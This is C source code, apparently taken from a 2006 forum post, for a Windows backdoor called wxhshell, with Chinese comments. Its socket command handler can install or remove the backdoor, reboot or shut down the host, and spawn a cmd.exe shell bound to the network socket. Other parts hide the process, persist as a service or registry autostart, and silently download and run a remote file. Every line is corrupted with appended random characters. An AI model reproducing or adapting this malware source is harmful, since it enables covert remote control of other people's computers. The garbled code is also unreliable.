  (otD4VR_  
  // 帮助 T|(w-)mv  
  case '?': { G(F=6L~;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gw6!cp|/  
    break; -Fop<q\b  
  } o:as}7/^  
  // 安装 7g oRj  
  case 'i': { u-.nR}DM_  
    if(Install()) ].QzOV'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `!ja0Sq]U  
    else y<v-,b*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fp3`O9+em  
    break; JV !F<  
    }  aqi]5,  
  // 卸载 3_i29ghv  
  case 'r': { &wkb r2P  
    if(Uninstall()) k#V\O2lb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "1DlusmCCB  
    else r=RiuxxTq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (v}l#M7w  
    break; R"F:(  
    } i{HzY[  
  // 显示 wxhshell 所在路径 *J4 \KU  
  case 'p': { ?4W6TSW-'  
    char svExeFile[MAX_PATH]; 3Dj>U*fP  
    strcpy(svExeFile,"\n\r"); mv/ Nz?  
      strcat(svExeFile,ExeFile); 3|URlz  
        send(wsh,svExeFile,strlen(svExeFile),0); @lh]? |*[  
    break; Y31e1   
    } >oAXS\Ts  
  // 重启 Q+U" %   
  case 'b': { SU~ljAF4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '8@4FXK  
    if(Boot(REBOOT)) ^O"o-3dte  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ej(< Le\  
    else { iWe'|Br  
    closesocket(wsh); W E /1h  
    ExitThread(0); 1wggYX  
    } cy2K#  
    break; mGw*6kOIS  
    } >ca`0gu  
  // 关机 S1i~r+jf  
  case 'd': { @'J[T:e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #%z@yg  
    if(Boot(SHUTDOWN)) 7$"5qJ{s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}!pmg6V  
    else { /(}YjeS  
    closesocket(wsh); NZXCaciG  
    ExitThread(0); -Ji uq  
    } PL3oV<\4s>  
    break; 1n>AN.nI  
    } Q$yQ^ mG  
  // 获取shell Qg o| \=  
  case 's': { X#MC|Fzy@  
    CmdShell(wsh); uxW<Eh4H*  
    closesocket(wsh); Vg"vC  
    ExitThread(0); ,A0v 5Q<  
    break; }[;r-5}  
  } D*wY,\  
  // 退出 h{ EnS5~  
  case 'x': { !}"PHby5N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2kFP;7FO  
    CloseIt(wsh); E@Yq2FBpnn  
    break; {]7lh#M  
    } P@Pe5H"o  
  // 离开 'H1k  
  case 'q': { `4qtmbj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A_.}- dzF  
    closesocket(wsh); e~6>8YO+7j  
    WSACleanup(); S<w? ,Z  
    exit(1); Z,, qmwd  
    break; u6*0% Km  
        } r!p:73L8  
  } 0(A&m ,  
  } S\2@~*{-8  
z&.F YGq}  
  // 提示信息 7wbpQ&1_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aSfAu!j)  
} ?ViU%t8J5  
  } 'FG@Rg (  
`] Zil8n  
  return; *!}bU`  
} Xh*Nu HH  
[XNDYaF8  
// shell模块句柄 t"&qaG{  
int CmdShell(SOCKET sock) _xo;[rEw8  
{ p,mKgL63  
STARTUPINFO si; L5]uT`Twa  
ZeroMemory(&si,sizeof(si)); qI2&a$Zb$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WG5)-;>q|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .DhB4v&  
PROCESS_INFORMATION ProcessInfo; 6eK7Jv\K  
char cmdline[]="cmd"; >#5jO9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mk3,ke8  
  return 0; 9H cxL  
} ZBc8 ^QZ  
D.w6/DxaXa  
// 自身启动模式 Gmmh&Uj  
int StartFromService(void) [5MV$)"!j  
{ [85tZr]  
typedef struct Cuom_+wV&  
{ $69d9g8-(!  
  DWORD ExitStatus; p!`S]\XEB  
  DWORD PebBaseAddress; D+4$l+\u  
  DWORD AffinityMask; rJCu6  
  DWORD BasePriority; \~>7n'd ]  
  ULONG UniqueProcessId; H66F4i  
  ULONG InheritedFromUniqueProcessId; `M,Gsy1h  
}   PROCESS_BASIC_INFORMATION; >ti)m >f  
(U|WP%IM'  
PROCNTQSIP NtQueryInformationProcess; Ap<j;s4`  
Ce@"+k+w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; poS=8mN8;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B[7Fq[.mh  
@F!oRm5  
  HANDLE             hProcess; _Q\<|~  
  PROCESS_BASIC_INFORMATION pbi; Q.l3F3;  
<s (o?U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M4L<u,\1s  
  if(NULL == hInst ) return 0; yOm#c>X  
sbq:8P#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?#/~ BZR!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O _^Y*!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I=4G+h5p  
!/E N  
  if (!NtQueryInformationProcess) return 0; n,b6|Y0  
fa(-&;q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8 v<*xy  
  if(!hProcess) return 0; ce1U}">11  
-nGLmMvd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P,K^ oz}  
En YEAjX  
  CloseHandle(hProcess); ^-qz!ib  
`s_k+ g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HurF4IsHk  
if(hProcess==NULL) return 0; nM H:7[x3  
O?qM=W  
HMODULE hMod; 8AmB0W> e  
char procName[255]; 6JE_rAab  
unsigned long cbNeeded; E-HK=D&W/  
v2f|%i;tq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /k=k rAz.  
+}^^]J$Nh  
  CloseHandle(hProcess); lN[#+n  
+qM2&M  
if(strstr(procName,"services")) return 1; // 以服务启动 NrfAr}v'E  
g,\O}jT\'  
  return 0; // 注册表启动 &nwk]+,0W#  
} LOe l6Ui  
)*9,H|2nS  
// 主模块 p 8lm1;  
int StartWxhshell(LPSTR lpCmdLine) `&FfGftc  
{ m~8=?R+m  
  SOCKET wsl; ;1Q @d  
BOOL val=TRUE; ST[E$XL6  
  int port=0; ?2Sm f  
  struct sockaddr_in door; kntULI$`  
%[k"A  
  if(wscfg.ws_autoins) Install(); JYa3xeC;  
jUrUM.CJ\N  
port=atoi(lpCmdLine); p1 mY!&e(  
!~ZAm3GwL  
if(port<=0) port=wscfg.ws_port; 3U[:N &Jb  
7G  3e  
  WSADATA data; U/>l>J5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W%< z|  
fWl #CI\]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3F{R$M}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MZdj!(hO  
  door.sin_family = AF_INET; 7J5Yzu)D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )S|&3\  
  door.sin_port = htons(port); #++D|oE  
X="]q|Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +pbP;zu  
closesocket(wsl); GT-ONwVDq  
return 1; VN]"[  
} UMlvu?u2p1  
MQl GEJ  
  if(listen(wsl,2) == INVALID_SOCKET) { >xIb|Yp)&  
closesocket(wsl); *:Y9&s^6j  
return 1; 256V xn  
} QTjnXg?Ri  
  Wxhshell(wsl); U ]O>DM^'  
  WSACleanup(); rh6 e  
X6n8Bi9Ik  
return 0; L#`X;:   
,o [FUi(#@  
} dG}*M25  
!s[ gv1  
// 以NT服务方式启动 8,]wOxwqi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FOS*X  
{ /7K7o8g  
DWORD   status = 0; *xDV8iu_  
  DWORD   specificError = 0xfffffff; E^x/v_,$w!  
e}2[g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8D`TN8[W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q@cYHFi~+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ho}G]y  
  serviceStatus.dwWin32ExitCode     = 0; [.nkNda5)v  
  serviceStatus.dwServiceSpecificExitCode = 0; (O'O #AD  
  serviceStatus.dwCheckPoint       = 0; zz-X5PFn  
  serviceStatus.dwWaitHint       = 0; )T'~F  
mJME1#j$/|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7}vx]p2  
  if (hServiceStatusHandle==0) return; =T#?:J#a  
5)p!}hWs  
status = GetLastError(); 0MN)Z(Sa  
  if (status!=NO_ERROR) r-&* `Jh  
{ o> yo9n%t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b:x*Hjf  
    serviceStatus.dwCheckPoint       = 0; m0JJPBp  
    serviceStatus.dwWaitHint       = 0; s,7 OoLE  
    serviceStatus.dwWin32ExitCode     = status; S vW{1  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8FQNeQr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oX?~  
    return; gg$:U  
  } *)Pb-c  
VoNk.h"T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K9S(Xip  
  serviceStatus.dwCheckPoint       = 0; XknbcA|  
  serviceStatus.dwWaitHint       = 0; +A2}@k   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /cx Ei6I-  
} |O[ I=!  
0t)5KO  
// 处理NT服务事件,比如:启动、停止 $2$jV1s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6bBNC2K$-  
{ U sV?}  
switch(fdwControl) ky[^uQ>0  
{ QX+&[G!DZH  
case SERVICE_CONTROL_STOP: [B%:!Q)@  
  serviceStatus.dwWin32ExitCode = 0; {N@tJ,Fh{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D1cnf"y^  
  serviceStatus.dwCheckPoint   = 0; *.+N?%sAP)  
  serviceStatus.dwWaitHint     = 0; jgT *=/GH2  
  { K#]FUUnj=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wfh+D[^  
  } mxTuwx   
  return; (o1o);AO  
case SERVICE_CONTROL_PAUSE: D^A#C<Gs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C40W@*6S2  
  break; T,v5cc:nO  
case SERVICE_CONTROL_CONTINUE: G[Jz(/yNH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TGI`}#  
  break; j15t8du&O  
case SERVICE_CONTROL_INTERROGATE: 36yIfC,  
  break; FK;2u $:  
}; !FeNx*31i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y@dTdR2Wc  
} 9+:<RFJ  
M|qJZ#{4>  
// 标准应用程序主函数 Zu/1:8x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^\3z$ntF  
{ 5>rjL ;  
'UB"z{w%  
// 获取操作系统版本 [<VyH.  
OsIsNt=GetOsVer(); g HKA:j`c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kTo{W]9]  
Q6fPqEX=  
  // 从命令行安装 +$B#] ,  
  if(strpbrk(lpCmdLine,"iI")) Install(); $GIup5  
1K[y)q  
  // 下载执行文件 BV]$= e'  
if(wscfg.ws_downexe) { wQ\bGBks  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =[`gfw  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;>jOB>b{h  
} XF99h&;9  
UsdUMt!u  
if(!OsIsNt) { l"9$lF}  
// 如果时win9x,隐藏进程并且设置为注册表启动 uar[D|DcD"  
HideProc(); -FQS5Zb.!  
StartWxhshell(lpCmdLine); poXT)2^)  
} MMf_  
else Io<L! =>  
  if(StartFromService()) 9D51@b6k  
  // 以服务方式启动 ~lH2# u>g  
  StartServiceCtrlDispatcher(DispatchTable); =p#:v  
else ie<m)  
  // 普通方式启动 Z^GXKOeq  
  StartWxhshell(lpCmdLine); h($Jo  
{D4N=#tl  
return 0; / 2h6  
}
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只看该作者 1 发表于: 2006-10-10
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